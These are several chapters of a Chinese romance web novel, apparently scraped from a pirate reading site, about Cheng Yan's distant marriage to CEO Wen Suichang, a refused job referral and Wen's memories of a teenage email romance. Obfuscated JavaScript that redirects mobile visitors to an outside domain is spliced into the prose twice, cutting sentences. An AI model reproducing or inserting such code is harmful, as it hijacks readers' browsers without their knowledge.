温岁昶将手里的威士忌一饮而尽,只剩下透明的冰块碰撞杯壁发出清脆的响声。 有时候他真的觉得没劲。 或许互相将就的婚姻就是这样充满谎言,他不该对这段婚姻抱有任何期待。 他们之间根本没有了解彼此的必要。 她几点回来,和什么样的人待在一起,这些全都与他无关。 木讷、无趣、谎话连篇,这是他的妻子给他的全部印象,而他要和这样的人生活在一起一辈子。 一旁的程颜彻底愣在原地。 她真的不知道香水还有这么多讲究,她自以为缜密的谎言在他眼里原来漏洞百出。 她不知道要怎么补救。 想到今天发生的事,她只觉得无力。 她很想告诉他真相,事无巨细地,甚至精确到每一分每一秒全都告诉他,但这属于程家的丑闻,她不方便对他说。 “我不是故意骗你的,下班那会我哥出了点事,我去处理了一下。” 温岁昶似乎没有兴趣知道,也没有兴趣分辨真伪,只应了声:“嗯。” 她知道他在意的不是她去做了什么,而是她对他说了谎这件事。 想到这,她低声道歉:“对不起,你生气了吗?” 她紧张地等着他的答案。 温岁昶没有回答她,转身上了楼。 程颜站在原地,呆呆地看着他的背影。 其实她还想问他:“明天,我们还能一起打羽毛球吗?” 次日,温岁昶就出差了,程颜是在他出差的三天后看新闻才知道的。 门户网站的头条播报栏滚动着新闻,她点开,鼠标往下划,看到了一张照片。 她在这张照片里唯一一张东方面孔的男人身上停下了目光。 距离上次的事过去了那么久,两人再也没有联系,一条消息、一个电话都没有。 她不知道这算不算吵架,但他们平时的相处模式好像也差不多。 虽然是法律意义上的夫妻,但他们彼此都不需要和对方报备,程颜去哪里玩,或是去哪里出差,也不必告诉他。 周三下了班,程颜拿着羽毛球拍打车去附近的体育馆,离比赛不到一个月,她要抓紧练习。 幸好昨天她在公司拉的群里找到了羽毛球训练的搭子。 那人是在朝露晚报的,听同事说背后关系很硬,是空降来的,一来就给了报社里最好的采访资源,整组都要给她抬轿,而且还大小姐脾气,所以才没人愿意和她玩。 程颜起初并不知道这背后的故事,因为是沈雪棠先找上她的,她不会拒绝人,便加上了微信。 不过这几天接触过后,她认为沈雪棠倒也不像别人说的那么骄纵,顶多只是有些小脾气。 这天训练结束,沈雪棠见她在路边打车,经过时降下车窗。 “程颜,我让司机送你回去吧,你住哪?” “不麻烦了,”程颜一向不习惯接受别人的好意,“我还要回公司忙一会。” “你公司在呈新路吧,刚好顺路,别说了,快点上来。”她热情地朝程颜招手。 沈雪棠的车停在那不动,后面的车不耐烦地打起喇叭,催促之下,程颜只好上了车。 一路上两人几乎没怎么闲聊,沈雪棠在车上补妆,一会补口红,一会往脸上扑粉,似乎待会要去见很重要的人。 程颜不擅长社交,只在沈雪棠开口时回答几句。 从高架桥下来,沈雪棠瞥了程颜一眼,发现她正安静地坐着,望向窗外。 她有感而发:“和你呆在一起就是舒服,换做是我公司那些同事,叽里咕噜的吵死了。” 沈雪棠的话让她愣了愣。 这会刚好到了公司附近,程颜道了声谢就下车了。 走到公司门口,她盘算着下次要做些什么才能还掉这个人情。 “陈颜!” 正发着呆,身后有人喊了她一声。 程颜回过头,视线一顿,眼里盛满了疑问。 “徐昊远?你怎么在这?” 男人穿着一件白色的冲锋衣,背着个黑色双肩包,鼻梁处架着一副眼镜,是标准的程序员装扮。 程颜向来不擅交际,没什么朋友,徐昊远算是其中一个,当初在福利院,她、徐昊远、穆沁亭三个玩得最好,但没多久穆沁亭就被云城的一对夫妻收养了,后来联系便越来越少,关系也渐渐淡了。 而徐昊远虽然和她同在北城,但北城那么大,他工作又忙,两人见面不多,她不知道今天他找她是有什么事。 “我在这等你好久了,不过你怎么是从外面回来的?” 程颜:“我刚打完羽毛球回来,你来怎么不给我打电话?” “唉,怎么说呢,就是、就是有件事想找你帮忙,”徐昊远挠了挠头,脸上挂着不好意思的笑容,“我前段时间被裁员了,离职后找了两个月都没找到工作,我在网上看到智驭在招平台研发工程师,我记得你丈夫是智驭的ceo,你能不能帮我问问?或者帮我内推一下也行。” 程颜愣住。 徐昊远是个很骄傲的人,以前在福利院里就属他学习成绩最好,也最有出息,如果不是实在没办法,也不会找她帮忙,那脸上讨好的笑让她看了心里有些难受。 说完,他手忙脚乱地从双肩包里拿出简历递给她,简历放在文件袋里装着,表面一点褶皱都没有。 “你方便的话,帮我内推一下,哪怕有个面试机会也行,阿颜,我不想麻烦你的,但现在太卷了,如果你不帮我,我的简历都不一定能被看到。” 那一张轻飘飘的纸,拿在手里沉甸甸的。 名牌大学毕业,本硕连读,一个人求学数十载的经历,就这么浓缩在这张纸上。 程颜沉默半晌问:“有电子版吗?他最近出差了。” 徐昊远眼睛霎时亮了:“有有有!我微信发给你。” 他立刻点开微信,把收藏夹里的简历转发给她,言语中有些兴奋:“我真的很喜欢智驭的品牌文化,而且我预感它以后会成为国内最成功的汽车品牌,如果能面试通过,我一定会好好珍惜这个工作机会的!” 程颜看着他如释重负的笑容,心情有些复杂。 她向来不是个喜欢拖延的人,她知道一件事哪怕再不想面对,但始终还是要面对的。 可这件事她拖了整整三天。 她能看出来徐昊远很希望能得到这个工作机会,当天晚上他就修改了好几版简历发给她,还征求起她这个外行人的意见,问她哪一版最好。 温岁昶的聊天框她点开了无数遍,但最后还是什么都没有发。 她还记得上一次两人的不欢而散,记得他审视的眼神,记得他的冷淡和轻蔑,或许在徐昊远眼里看来,她和温岁昶是夫妻,这不过是举手之劳,但不是这样的,她不是可以要求他去做什么的角色。 犹豫了很久,程颜决定去找温岁昶的助理。 她想,找杨钊也是一样的。 这样的事杨钊应该也能解决,一切好像豁然开朗起来。 杨钊的电话是很久之前存的,她从通讯录里找了出来。 北城和纽约横跨了十三个时区,杨钊接到程颜的电话,是当地的早上十一点。 彼时,会议刚结束,一行人走出电梯,杨钊看到来电显示,下意识看了温总一眼。 温岁昶不明所以,看向他的手机屏幕,但目光晃眼,看不清楚。 杨钊走过来和他请示:“温总,我去接个电话。” “嗯。” 得到准许,杨钊走到角落处接听电话。 和约翰逊先生寒暄了一阵,司机拉开后座的车门,温岁昶礼貌道别上了车,杨钊过了一会才跟上来。 轿车已经驶离市中心,杨钊坐在副驾驶座,想起刚才那通电话,从后视镜里忐忑地看向温总,犹豫着要不要开口。 没想到温岁昶竟然主动问起:“谁的电话?打了这么久。” 杨钊如实回答:“是程小姐。” 温岁昶揉眉心的动作一顿,迟疑:“程颜?” “是的。” “这么晚了,她打给你做什么?” 思索片刻后,他想明白了,她大概是来向自己道歉的。 温岁昶眉头舒展开:“是找你打听我的消息吧。” 杨钊尴尬,迟疑了半晌说:“不是。程小姐想要内推一位朋友担任平台研发工程师的职位。” 杨钊观察着上司的反应,话是分截说的,“程小姐对他给予了很高的评价,称对方很认同我们的企业理念,希望可以有面试的机会。” “男的,女的?” 没预料到boss会这么问,杨钊差点没反应过来。 杨钊小心翼翼地说:“是位男士。” 车厢内的空气沉默了一瞬。 叮地一声,这时杨钊的邮箱刚好弹出程颜发过来的简历,他看向后视镜,温岁昶仍旧和刚才一样面无表情,他琢磨不透其中的意味,只能再继续问:“据我所知,这个职位确实还在空缺中,那温总,您要过目一下对方的简历吗?还是按流程发给人事那边筛选?” 按照流程,这个职位远远够不上让ceo来面试,终面也顶多是让部门领导面一下。 “杨钊。” 突然喊到自己名字,杨钊打了个哆嗦。 “嗯?” “你觉得他怎么样?” 杨钊顿时汗流浃背,后视镜里温岁昶正看着他,他一向察言观色的能力很强,但此时竟也猜不透上司的想法。 大脑在快速运转,手心冒汗,杨钊决定保险起见,说:“简历我还没看,不如我发给廖经理那边吧,一切按流程来。” 他正要把这个叫徐昊远的简历转发给人事经理,身后传来男人冰冷、没有温度的声音。 “不用了。” 杨钊心里咯噔了一声。 他明白了。 他立刻点开邮箱,把那封未读的邮件按下删除键,通过后视镜,他看到镜中里的男人神色不悦,看向窗外。【你现在阅读的是魔蝎小说 moxiexs】 7.第七章 程颜很快得到了回复。 第二天一早,杨钊就给她回了电话,很公式化的语气,一番话说得滴水不漏。 “程小姐,很抱歉,我昨天和人事经理沟通了一下,平台研发工程师的职位已经招到人了,不过徐先生的简历已经进入了我们公司的人才库,日后如果有合适的岗位我们会再联系徐先生的。” 程颜没有怀疑话里的真实性,也没有想过这是杨钊的话术,当天下午就原封不动地把话转告给了徐昊远。 徐昊远眼底闪过失望的情绪,假装豁达地说:“没关系,我最近也在投其他公司的岗位,应该近期会有面试的。谢谢你啊,陈颜。” 程颜听了更不好意思:“我都没帮上忙。” “什么叫没帮上忙,起码我的简历在智驭的人才库里了,说不定哪天有岗位空缺就联系我了。” 徐昊远表现得很乐观,程颜的心情也放松了不少。 “你这么优秀,一定会有好消息的。”她安慰道。 程颜一向不是个愿意麻烦别人的人,这次之所以在这件事上费心是因为徐昊远以前帮过她。 他们有一起长大的情分,当初秋招那会她的简历还是他帮她改的,现在他好不容易找她帮忙,她却一点忙都没帮上。 徐昊远想起什么又说:“对了,我还投了穹域科技,那个是不是你哥的公司?” 程颜脸色一变:“好像是吧。” 她攥紧手,生怕徐昊远提出要求让她再去找程朔,但幸好没有,他似乎只是随口一提,没别的意思。 这件事就这么告一段落,在她心里翻了篇。 周五,部门聚餐,地点定在附近的一家韩式烤肉店。 程颜改稿来晚了,瞧见顾思思旁边有一个空座位正要坐过去,庞斯慧拉了她一把,附在她耳边小声说:“你干嘛,那个位置是留给周奇的。” “啊?为什么?” 庞斯慧捞过她在窗边的位置坐下:“你别告诉我你没看出来周奇和顾思思是一对,俩人都好了一个多月了。” 程颜诧异。 她确实没看出来,她在公司的朋友不多,平时只是同事的关系,没有深交,加上部门活动她也不常参加,所以很多消息都很滞后。 她好奇问道:“是顾思思告诉你们的?” “我们猜的,但真的太明显了,不信你等会自己观察。” 因为庞斯慧这句话,程颜特意留心了一些。 没多久周奇就来了,他一进门看到顾思思眼睛都有了神,未等服务员指引就径直往顾思思这边走过来,在她旁边坐下。 从坐下来那一刻开始,两人嘴角的笑藏都藏不住,肢体上虽然克制地拉开了距离,维持着“普通同事”的分寸,但眼角余光却不由自主地留意着对方的举动。 餐桌上,大家都在调侃他们,顾思思脸又红又热,频频喝水。 张深看向碗里刚烤好的五花肉:“周奇,你不会是为了给顾思思夹菜,所以才顺带给我也夹了五花肉吧。” 周奇作势要打他的筷子:“吃你的,别瞎说。” “你看他给我们都拿了可乐,给顾思思买的是奶茶,这不是偏爱是什么~” 顾思思找补:“不是你们想的那样,我只是不爱喝碳酸饮料。” “哇,他连你不爱喝碳酸饮料都知道呀……” “哎呀,别解释了,我们都懂的!” 大家越说越来劲,程颜也被这热闹的气氛所感染,这快乐里夹杂着不易被察觉的羡慕。 原来幸福是那么具象的,是想要掩饰但又怎么都藏不住的,是哪怕否认了旁人也能找出无数蛛丝马迹来证明你们正在相爱。 手机放在右手边,她犹豫了片刻拿起来,点进温岁昶的朋友圈。 空的。 什么都没有。 点开两人的对话框,寥寥无几的对话,简短,客套,半年的对话没几分钟就看完了。 同事们还在聊天,副主编周谬看向周珍祯:“你还不谈恋爱家里都急死了,很快咱们办公室单身的女生就只剩下你一个了。” 周珍祯是副主编周谬的侄女,两人的关系是办公室里公开的秘密,这会也没什么好避讳的。 周珍祯咬了一口烤肉,又放下筷子:“那又怎样,谁规定人一定要谈恋爱了,我自己过得开心不就行了,你思想别这么陈腐,再说了,程颜不也是单身吗?也没见她家里催她。” 话题突然转到了自己,程颜有些不自在,拿起旁边的水杯喝了一口。 “程颜早就结婚了,你以为跟你像个小孩似的,没点定性。” “啊?真的吗?” 周珍祯立刻看向程颜,她脸上的惊讶不像假的,探究的目光在程颜脸上打转。 她是去年七月份入职的,确实从来没见过程颜的对象,同事间聊天也从没听她提起过自己的丈夫,而且平常也是自己一个人打车上下班,怎么看都不像是结了婚的。 “程颜都结婚两三年了吧,估计大学毕业没多久就结婚了,”说着,庞斯慧碰了碰程颜的手臂,“对了,你啥时候带家属过来一起聚餐,公司的经费不用白不用,能蹭一顿是一顿。” 想起温岁昶,程颜脸上的笑容淡了些。 “他工作忙,下次吧。” 她用同样的借口搪塞了过去。 果然这次大家有了意见:“每次你都这么说,你先生是什么行业的,连吃顿饭的时间都没有。” 程颜低声回答:“汽车。” “汽车销售?” 程颜迟疑了片刻:“算是吧。” “那确实是忙,我朋友也在汽车行业,就在那个智驭当高级工程师,天天都加班,卷得可怕……” 程颜心里一紧,幸好话题就这么岔开了。 后半场,玩起猜拳游戏,输的人要罚一杯烧酒,每次顾思思输了,周奇都替她喝,几杯下肚,周奇喝得上了脸,可望向顾思思的眼神还是充满笑意,大家的起哄声一阵接着一阵。 程颜坐在角落安静地看着,眼眶忽然有些热。 她好像在偷窥。 偷窥别人的幸福。 垂眸的这几秒,她很努力地回想,她甚至想去问程朔,她和温岁昶坐在一起时,温岁昶有对她流露过那样温柔的神情吗?他会事无巨细地留意她的一切吗?他的目光会越过所有人直直地看向她吗? 她玩游戏输了,他会主动替她挡酒吗? 许是喝了酒的缘故,又或许和酒根本没关系,程颜忽然很想他。 很想很想。 比此前任何一次都要想。 聚餐结束,程颜没有立刻回家,而是在附近的广场逛了一会。 这是淮森路最大的商业广场,今天是周五,不少人都在这边散步,大家都是成群结队的,只有她是一个人。 广场中央有个音乐喷泉,夜晚风大,她抱着膝盖在不远处的台阶坐下。 这是温岁昶出差的第七天,她忽然很想问他: “你想我吗?” “你会想我吗?” 这么简单的两句话,结婚三年,她从来没敢问过他。 她真的给温岁昶打了电话,在中央喷泉升到最高点的时候。 很快,对面接通了。 “喂。” 在大脑里播放了无数次的声音冲击着耳膜。 那件事后,这是两人这么久以来的第一次通话,也是第一次联系。 她手心冒汗,屏住了呼吸。 “有什么事么?” “温岁昶,”她喊他的名字,风声模糊了心跳,话语打结,“你、你……” 那句话已经到了嘴边,她又突兀地停了下来。 哪怕在酒精的驱使下,她都不敢越过那条线。 她有点后悔打这个电话了。 程颜捏着手机,脸上的五官拧成一团。 “有话要对我说?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650226|172317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话那头的人似是看出了她的欲言又止。 “没有啊,”程颜吸了吸鼻子,缩回了壳里,又开始重复那些无意义的对话,“就是想问你那边冷不冷?” “纽约现在3℃。” 电话那头异常安静,大概是在室内,偶尔还有翻动书页的声音。 “是降温了吗,有没有带厚衣服?” “有。” 他话语简短,没留话口,让人难以继续。 “那你吃午饭了吗?” 她也不知道自己在说什么,她只是想和他多说些话,只要他像上次一样多展现一些善意,她就能说服自己这段婚姻还能继续下去。 “现在是早上八点,你认为呢?”温岁昶无奈,轻笑了声,“程颜,你到底想说什么?” 电话那头他的语气不再像刚才那样毫无情绪,而是变得严肃又冷峻,让人心底生寒。 “你是不是想问简历的事?” 程颜意外,猛地揪紧了背包的链条:“你知道了?” 电话那头沉默。 担心温岁昶误会,她连忙解释:“徐昊远是我在福利院里的朋友,他真的很优秀的,他在南大连续三年都拿到了学校的奖学金,还参加过很多计算机类的比赛——” 她尝试通过说明徐昊远和这份工作的适配程度,来证明自己只是想为他获得一个面试机会。 但温岁昶没等她说完就打断了她:“所以呢?” “杨钊说你们公司是可以内推的,我只是想推荐一下,没有别的意思。” 这时广场中央的音乐喷泉突然停了,程颜内心一片空旷,无比清晰地听见话筒里冰冷的声音。 “他的简历,我已经删了。” 程颜懵了,有些反应不过来:“他的简历不是已经进入公司人才库了吗?” 温岁昶莞尔,挑了挑眉:“原来杨钊是这么和你说的?” “第一,如果他真像你所说的那么优秀,以他的简历,获得面试机会是轻而易举的事,但他却选择了通过你来获得这个机会,你认为他的目的是什么? 第二,你或许想法单纯,没有其他的目的,但你认为杨钊会不会因为你的关系而为他走后门,部门经理又会不会因为杨钊的关系而在面试环节高看他一眼。抱歉,我的公司不需要这些走歪门邪道的人。” 程颜迟迟没有说出话来。 脸颊处滚烫,那种难堪和她当初提着保温盒站在他办公室门口是一样的心情。 沉默的这几秒,她想到了徐昊远修改了五版的简历,想到了他小心翼翼的眼神,想到了他每日发来询问的信息,想到了他落寞的强颜欢笑的表情。 可能他本来还有机会的,现在因为她的关系,可能一点机会都没有了。 她不该不自量力,应下要帮他的忙。 是她太自以为是了。 她在温岁昶这里从来就没有什么话语权。 寒风凛冽,刮在脸上像刀一样疼,她忽然记起了她这通电话的目的,打电话前的那些期待、那些憧憬也被吹散在这个森冷的冬天。 许久许久,她终于开了口:“你怎么能把人想得那么坏?” 温岁昶话语一滞。 因为他竟然从程颜的话里听到了“失望”。 温和得像一团棉花的人为了一个不重要的普通又平庸的男人,竟然攻击起他来了。 更伤人的话不加思索便从口中说出,“程颜,是我把人想得太坏,还是你把人想得太好?” 现在是纽约时间的早上八点十五分,温岁昶拿起手机从沙发起身,走到落地窗旁站定,从昨天开始他便住进曼哈顿市中心酒店的总统套房,这里很安静,听不到丝毫噪音,从窗户往下看,可以俯瞰到整座城市刚苏醒的样子。 这个本该宁静的清晨被这通电话扰乱得彻底。 他听见电话那头程颜愠怒又失望的声音:“你说得对。温岁昶,我好像把你想得太好了。” 8.第八章 电话挂断。 5分18秒,屏幕显示着这通电话的时长。 不多时,酒店的客房服务送上早餐,精美的食物摆满了餐桌,温岁昶落座拿起刀叉,却没什么胃口。 “你说得对,是我把你想得太好了。” 想起刚才那通电话,温岁昶不知怎么,心里一颤,一种异样的感觉涌了上来。 这种异样的感觉一直持续到了晚上的应酬。 小提琴声悠扬,衣香鬓影,空气里弥漫着高级香水的味道,酒杯里的香槟碰撞出悦耳的声响,这是曼哈顿富人区的一处私人别墅,室内的装潢、墙上的后现代主义画作无一处不彰显着品味。 别墅的主人Mateo先生是位华裔,是纽约知名的古董商兼收藏家,温岁昶捧着香槟微笑地上前打招呼。 Mateo热情回应:“Felix,上次在香港一别,又有好几年了,你父亲身体还好吗?” 温岁昶点头:“谢谢关心,父亲身体尚好。” “今晚食物合不合胃口,说起来,我还珍藏了几瓶好酒等着和你分享,有没有兴趣品尝一下?” 温岁昶已是微醺,忙推迟:“下次吧,明天还有工作,不宜喝太多。” Mateo没有勉强,拍了下他的肩膀:“真是年轻有为,听敬泽说你的公司快要上市了,我昨天拿起最新一期的财经杂志,没想到封面人物看着这么眼熟,我猜你父亲现在应该很为你感到骄傲。” 温岁昶只笑,不置可否。 Mateo当下了然,和他碰了碰杯:“他或许只是想让你少弯路,他有他的考量。” “那只是他定义的‘弯路’。” 欣赏的眼神出现在Mateo眼中,忽然他笑得狡黠,目光越过旁人看向身后:“Felix,我猜你今晚会有一场美好的邂逅,你要不要和我赌?” 温岁昶疑惑:“什么?” “那边有位美丽的女士从刚才就一直在注视你,我记得她是New York Meridian行长的小女儿,”Mateo笑得暧昧,“需不需要我介绍你们认识?” 温岁昶并未顺着视线看过去,礼貌拒绝:“看来是没办法应你的赌约了,我已经结婚了。” Mateo诧异,眼底有几分难以置信。 谢敬泽这会刚好走了过来,右手搭在温岁昶的肩膀,笑嘻嘻地说:“舅舅,我可以作证,他真的结婚了,他婚戒都戴了三年了。” Mateo这才看到温岁昶指间的婚戒,恍然:“看来今晚有不少美丽的女士要伤心了,那怎么不和你的妻子一同过来?” 程颜的脸出现在脑海,温岁昶眼尾跳了跳,那种异样的感觉再次涌了上来,像胸口骤然被人攥紧。 “她不太热衷这样的场合。” 谢敬泽把酒杯递给一旁经过的侍应:“舅舅,别说你了,我在国内也没见过几次。” “下次等您回国,有机会的话我来安排。” “那就这么说定了,”这会有客人过来寒暄,Mateo举起酒杯示意:“Felix,我失陪一会。” “好。” Mateo离开后,谢敬泽走到二楼的阳台吹风,半靠在栏杆上,他看向一旁的温岁昶,打趣说道:“刚才那是敷衍我舅舅的吧。” “什么?” “说等他回国,安排程颜和他见面。” 温岁昶沉默后开口:“她不喜欢出席这样的场合。” 谢敬泽看他这无所谓的语气,故意说:“怎么样,打算什么时候离婚?” 听到那两个字,温岁昶心突然空了一下,眉头皱得很深,反问:“什么意思?” 谢敬泽的话让他愣了愣。 这是一句很无理很越界的猜测。 他从来没有要和程颜离婚的想法。 虽然这样的生活平淡、无趣、乏味,但偶尔他也觉得简单、轻松。 如果没有早上那通电话,他们这些年的相处尚且算是关系和睦,不过早上那也只是无关紧要的插曲,很快就会被抛之脑后。 彼此将就的婚姻不需要太多感情基础,况且他不希望在生活上倾注太多精力,本质上来说他不是个高情感需求的人。 “吓唬你一下而已,这么紧张?”谢敬泽想起和温岁昶妻子仅有的几次见面,若有所思,转过头问他,“不过你确定她也是这么想的,你确定她不会和你提出离婚?” 温岁昶很快就否认了他的说法。 “她不会。” 是笃定得不能再笃定的语气。 仿佛这是和已被证实的数学定律一样不容置疑的真理。 程颜是那种安稳得让他觉得如果他不提出离婚,那他们便一辈子不会离婚的妻子。 谢敬泽点了根烟,不置可否地望向远处,倒是想起了一些旧事:“说起来,我记得你以前不是喜欢过一个女孩吗,那时候为了她还故意把数学考砸了,这么多年过去了,我现在想起这事还是不敢相信是你干的。” 这事的确给了谢敬泽不小的冲击,毕竟温岁昶长着一张不会喜欢任何人的脸,没想到竟然也会栽跟头。 温岁昶的表情顷刻间变了变,眉眼间结了霜,还没喝完的香槟放到一旁。 “你和Mateo说一声,我先走了。” 谢敬泽像犯了错,把手里的烟碾灭,不敢吭声。 完了,他就知道不该提起这事。 黑色轿车行驶在夜色里,今天纽约降了温,这会气温估计在零度左右,车窗紧闭,温岁昶坐在后座闭目养神。 酒精的作用在此刻得到最大化,大脑昏昏沉沉,像是介于清醒与做梦的交界点。 很多年了,他还是没能忘记。 没能忘记邮箱里那五百多封邮件,没能忘记里面的一字一句,没能忘记那焦急等待的心情。 他喜欢过一个人,准确来说,是他迄今为止唯一喜欢过的人。 即便他从未见过她,也从来没有听过她的声音。 …… 温岁昶留意到邮箱里那些多出来的信件是在一个阴雨连绵的梅雨天。 没有标题,没有署名,什么信息都没有。 彼时,他刚参加完希望之星数学邀请赛,回到酒店,刚打开电脑就弹出了两封未读邮件。 都是来自同一个人。 看起来是很寻常的邮件。 “温岁昶同学,冒昧打扰你。 你上次在校刊采访里推荐了两本书,一本是尼采的《悲剧的诞生》,另一本是保罗·奥斯特的《隐者》。 《悲剧的诞生》我很认真地读完了,这是我第一次阅读哲学类的书籍,以我现在的知识储备,确实有些晦涩难懂,尤其涉及到一些古希腊的神话故事和希腊古典悲剧,不过整体读完还是领会到了哲学的魅力,很有收获,所以非常感谢你的推荐! 但关于你推荐的另一本书籍我在学校的图书馆和市里的图书馆都没有找到,不知你可不可以告诉我具体的购买地址,或者二手书籍网也可以。 听说你明天就要参加数学竞赛了,你现在应该在紧张地备考吧,希望这封信没有打扰到你。考试加油!” 温岁昶握住鼠标的手一顿。 没想到他随口推荐的书,竟然真的有人认真去看。 他点开另一封邮件,很简短,只有一句话。 “如果不方便的话,可以不用回,打扰了。” 现在想来,大概是那天实在无聊,又或是因为南方梅雨天气太过烦闷,他打开网页认真找了几分钟,给这人发了二手书籍网的购买地址。 外面的雨声听着心烦,他戴上耳机,点开一部电影。 十分钟后,电脑右下方弹出邮件。 “谢谢!!(没想到你真的会回复,开心^_^) 你已经考完试了吗?今年题目难不难?” 温岁昶靠在椅背,右手转着笔,姿态慵懒且随意。 今年数学邀请赛题目没什么难度,最后两道大题的考点他做过大量的练习,没费什么时间就做出来了,他提前半个小时就完成了答卷。 但打在屏幕上的字却成了:“很难,可能要成为学校之耻了。” 窗外的雨还在下,淅淅沥沥的,南方的天气他确实不太适应,考完试到现在已经过去两个小时了,他丝毫没有感受到饥饿。 他摘下耳机,就这么坐在电脑前,等着对方的回复。 这次,约莫过了半个小时,邮件才弹出来。 是一段话和一张照片。 “刚好在书店看到这句话,送给你。 温同学,我相信你下次一定会考好的,我赌一个月零花钱!” 她用手机拍了书店墙上贴着的一句slogan“所有结局都是新篇章的序言,只是当时你还不知道”。 她这是在安慰他吗? 温岁昶失笑。 她竟然还当真了。 温岁昶没有再回复,只当这是一个不起眼的插曲,这件事很快被他忘在脑后。 两周后,数学竞赛的成绩出来了,学校的通报栏贴上了这次竞赛获奖的名单,当天晚上,他打开电脑就看到了一封邮件。 是傍晚六点发的。 “温同学,你怎么可以骗人!我那天还那么认真地安慰你。 你不知道那天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655873|172317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我在书店快把成功学那一列的书都翻烂了。” 温岁昶看着这两行字,脑海里有了画面,嘴角弯了弯。 他很诚恳地道歉:“对不起。” 那人没有计较,很快回了邮件: “不过你拿了一等奖,还是恭喜你,我就知道你肯定是最厉害的。^_^” 被夸的人眼底有了笑意,在键盘打字: “你怎么就知道了?” “因为上次数学考试你坐我前面,我偷瞄你的答案,都考了110多,你有没有实力我还能不知道吗?” 上次数学考试? 她是指期中考试吗? 但他明明记得坐他后面的是一个戴眼镜的男生。 温岁昶还在认真回忆,她的消息又发了过来: “你不会真的信了吧hhh,你骗我一次,我也骗你一次,扯平了。” 他松开鼠标,对着电脑,笑得无奈。 从那以后,他常常能收到她发来的邮件。 她给他发刚买到的保罗·奥斯特的《隐者》,和他谈论观后感,也会和他分享坂本龙一的钢琴曲,伍迪·艾伦的电影,会给他看她做的毛毡小玩具,还有胡萝卜雕成的玫瑰花。 几乎每次竞赛前他都会收到她发来的邮件,她用笨拙却真诚的话语给他加油鼓励。 偶尔她会请教他数学题,他从题目辨认出来,她学的是文科,和他是同一届。 那段时间他们几乎无话不谈,但她却始终不愿意告诉他真实的姓名,也不愿意添加其他的社交账号。 他承认,他从未对一个人产生过这么强烈的探索欲。 高二期末考试的前一天,北城下了一场暴雨,现在想来,那几乎是整个青春期里最汹涌的一场雨。 乌云吞噬了天边最后一抹日光,窗外树木飘摇,闪电划破天空,雨点重重地砸在绿框玻璃窗上,像要砸出裂痕,课间整栋楼的学生都在欢呼,猜测会不会停电,继而推迟考试。 世界喧闹而又失序,狂风骤雨,耳边是轰隆的雷声,他忽然想到她也正在经历这场滂沱的雨。 他很好奇,她正在做什么呢? 是在座位上安静地听着雨声,还是和人群一起欢呼? 他发现他好像一点都不了解她。 温岁昶望向走廊,大雨倾盆,人来人往,每一个路过的目光都可能是她,也可能不是她,一种前所未有的怅然席卷胸口。 最后他还是忍不住拿出手机,点开邮箱。 “你在做什么?” 短短五个字斟酌了不下十分钟,但在按下发送键之前,如同心灵感应,又或是上帝之手精心安排的巧合,同一时间,屏幕顶端弹出一封新的邮件。 点开,他眼底漾开粼粼波光—— “阴天快乐,温同学。” — 习惯或许真是很可怕的东西,期末考试结束后迎来了漫长的暑假,在连续半个月没收到邮件时,他有些坐不住了。 这天晚上,他罕见地主动给她发了邮件。 “你最近在忙什么?” 过了整整一周,没有任何回复。 几乎每天睡觉前他都会点开邮箱查看,但却没有任何关于她的邮件。 他问谢敬泽:“你说一个人平时隔三岔五都会给你发消息的,到了暑假却消失了,这是为什么?” 谢敬泽说:“暑假和女朋友出去玩了?” “她是女生。” 谢敬泽说得理所当然:“那就是和男朋友出去玩了呗……怎么了,岁昶,你脸色好像不太对。” “没什么。” 他把高尔夫球杆扔给一旁的球童,一下没了兴致。 在失联的第十天,他终于收到了回复。 “我去旅行了,昨天刚回来,没注意看邮件。” 眉头刚舒展开,不知想到什么又皱得很紧,他在键盘上打字。 “和男生吗?” 没回。 他第一次体会到心慌的感觉,一直以来他都没有做那样的假设,如果她有男朋友呢。 键盘敲击的力度变重,短短几个字,他犹豫了将近半个小时。 “你有男朋友吗?” 他迫切地想知道答案。 消息发出去的那一刻,时间像是以比秒更小的单位度过的,额头的温度像发烧一样滚烫,喉咙干涩得要命,他在紧张。 不知等了多久,外面的天色彻底暗了下来,他终于收到了回复。 “没有,怎么了?” 眼底的阴霾终于化开,温岁昶嘴角漾开消息,在键盘上输入: “我想见你。” 9、第九章 电脑屏幕暗了下来,这条消息彻底石沉大海。 虽然她没有回答,但他已经知道了她的答案。 温岁昶度过了最漫长最煎熬的一个假期。 他不明白为什么。 她关心他,鼓励他,但却不愿意见他。 暑期的末尾,他去了她曾经去过的那家书店,一走进门,就看到了墙上那句白底红字的slogan“所有结局都是新篇章的序言,只是当时你还不知道”。 八月的最后一天,他在那家书店坐了一整个下午。 他刻意不去想,但却还是想起了很多,那些文字变成画面在眼前播放,她翻过的书、她自习过的座位、她喝过的咖啡…… 临走前,他买了尼采《悲剧的诞生》的另一个译本。 他想,她看的应该是这个译本。 高三的生活节奏变得很快,几乎所有人都成了被拧紧的发条,步履匆忙,没法松懈,黑板上每日更新的高考倒计时和科幻小说中的末日倒计时别无二致,都是一样让人心生恐惧。 很快就到了第一次四校联考,那日,北城下了小雨,五颜六色的雨伞堆在考试的教室外,空气潮湿黏腻,地板上雨痕蜿蜒。 温岁昶坐在考场上走了神。 距离考试结束还有一个多小时,他只剩下最后两道大题没做。 时间还很充裕。 